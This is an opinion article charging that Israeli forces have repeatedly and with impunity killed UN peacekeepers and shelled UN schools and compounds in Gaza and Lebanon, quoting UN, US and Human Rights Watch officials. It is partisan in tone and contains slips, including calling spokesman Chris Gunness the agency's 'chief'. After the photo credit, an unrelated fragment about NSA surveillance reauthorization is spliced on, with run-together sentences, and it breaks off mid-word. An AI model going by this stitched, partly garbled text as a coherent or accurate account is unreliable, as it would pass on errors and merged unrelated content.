His death came in the midst of a recent flare-up of violence between Israel and Hezbollah, and Spain’s ambassador to the United Nations placed blame for the incident upon the Israeli Defence Forces, citing an “escalation of violence [which] came from the Israeli side.” The exact circumstances which led to Soria’s death are still under investigation; Israeli officials expressed condolences for his death and said their forces were responding to fire in the area.
What is clear however is that Israeli forces have been killing an alarming number of United Nations personnel in the course of their recent military operations — and that UN officials have vociferously criticized the attacks, sometimes saying they appeared deliberate.
This past summer in the Gaza Strip, Israel forces attacked seven different schools run by the United Nations Relief and Works Agency, schools that had been serving as temporary shelters for the displaced population of the territory. Despite repeated warnings, condemnations and entreaties, United Nations targets were hit again and again by Israeli airstrikes and shelling during the conflict.
As many of 46 civilians are believed to have been killed in these attacks, as well as eleven UNRWA staff members. One particularly lethal strike on a UN-administered elementary school in Beit Hanoun killed 15 civilians and wounded 200 others. That attack reportedly sent shrapnel flying into crowds of families who had been awaiting transportation in the school’s playground.
In the wake of these and other bombings, UNRWA chief Chris Gunness broke down in tears during a live television interview while decrying the “[wholesale] denial” of Palestinian rights by Israeli forces during the operation.
Instead of offering contrition for these deadly incidents, Israeli officials continued to justify them with unsubstantiated, and vigorously denied allegations that UNRWA schools were near sources of rocket fire and were thus simply caught in the crossfire. An investigation by Human Rights Watch looking at several of Israel’s attacks on these schools said that they, “did not appear to target a military objective or were otherwise unlawfully indiscriminate.”
Indeed, the idea that Israel’s repeated bombing of these schools may have simply been “mistakes” is difficult to countenance.
In one shelling incident which targeted a school in Rafah, United Nations personnel notified the IDF on 33 separate occasions that the facility was being used as a shelter for civilians. United Nations Secretary General Ban Ki-Moon publicly denounced the attack as a “moral outrage and a criminal act”, adding that “nothing is more shameful than attacking sleeping children”.
Even the United States, normally Israel’s most uncritical defender on the world stage, was moved to state that it was was “appalled” by what it described as a “disgraceful” attack on the school.
As egregious as these incidents were however, they are far from the first time in recent years in which Israel has targeted United Nations operations for shelling and airstrikes.
During the 2008-2009 Gaza War, Israeli forces targeted not only UNRWA schools (one of them pictured above) but even the compound housing the headquarters of the agency in the Gaza Strip. That attack, which involved the use of illegal white phosphorus munitions, destroyed tons of vital food aid and medical supplies which the large refugee population of the territory relied upon for basic sustenance.
At the time, Israeli officials claimed that they had been responding to rocket fire which had emanated from the compound, a claim which UN officials described as “total nonsense”.
In another notorious incident from Israel’s 2006 war with Lebanon, Israeli aircraft and artillery bombed a single United Nations outpost for upwards of six hours, despite receiving repeated pleas during this time from UN officials to cease fire. Four peacekeepers were killed in what then UN Secretary General Kofi Annan described as an “apparently deliberate” act.
Israel has long had a contentious relationship with United Nations agencies operating in the Middle East. Israeli officials have in past accused UN personnel of offering shelter to militants (a charge the organization strenuously denies), and has also more broadly suggested that the organization is responsible for prolonging the Israel-Palestine conflict due to its provision of refugee status and services to displaced Palestinians and their descendants.
In the wake of the most recent Gaza conflict, some Israeli political figures even called for UNRWA to formally be recognized as a “hostile organization”, an outrageous suggestion which nevertheless provides some insight into the hostility with which the UN is often viewed today in official circles.
Israel’s repeated bombing and shelling of United Nations positions in the region comes against this backdrop, with Soria’s death being only the latest incident in which Israeli forces have been responsible for killing UN personnel. To date, no one has been held legally responsible for any of these attacks.
By way of contrast, imagine the response if Hamas or Hezbollah had repeatedly and unrepentantly killed United Nations officials in the course of their conflict with Israel. Imagine if United Nations schools housing thousands of displaced civilians been struck time and again by militant groups, who in the wake of the bloodshed either denied responsibility outright or sought to justify their actions.
Furthermore, imagine if these attacks inflicted widespread civilian casualties and came despite repeated pleas and entreaties from UN officials to cease fire.
The outcry would rightly be deafening, yet this is exactly what Israel has done again and again in its conflicts in Lebanon and the Gaza Strip without consequence. As a result of this burgeoning culture of impunity, partly enabled by the unprecedented diplomatic protection offered to Israeli officials by the United States, UN personnel and facilities have increasingly been subject to deadly violence from the Israeli military.
As Pierre Krähenbühl, commissioner-general of UNRWA, stated in the aftermath of a deadly bombing against a UN-administered school in Gaza this past summer, “this [attack] is an affront to all of us, a source of universal shame. Today, the world stands disgraced.”
Photo: Khalil Hamra/AP© Jacquelyn Martin AP
A small revolt in corners of the Republican Party bedevils plans for reauthorization this year of surveillance capabilities considered the "crown jewels" of the U.S. intelligence community.Those capabilities, subject of a Senate intelligence committee hearing Wednesday, hasIndeed, some conservatives on Capitol Hill think intelligence sources could leak information on them too, as they did on former national security adviser Michael Flynn, and routinely flout laws sharply limiting surveillance on Americans.Poe blamed the National Security Agency for overreaching its authority, and said he would not be surprised if the agency's employees were surveilling people like himself, a former criminal court judge."Nothing would surprise me about what the NSA does. Unfortunately, they cannot be |
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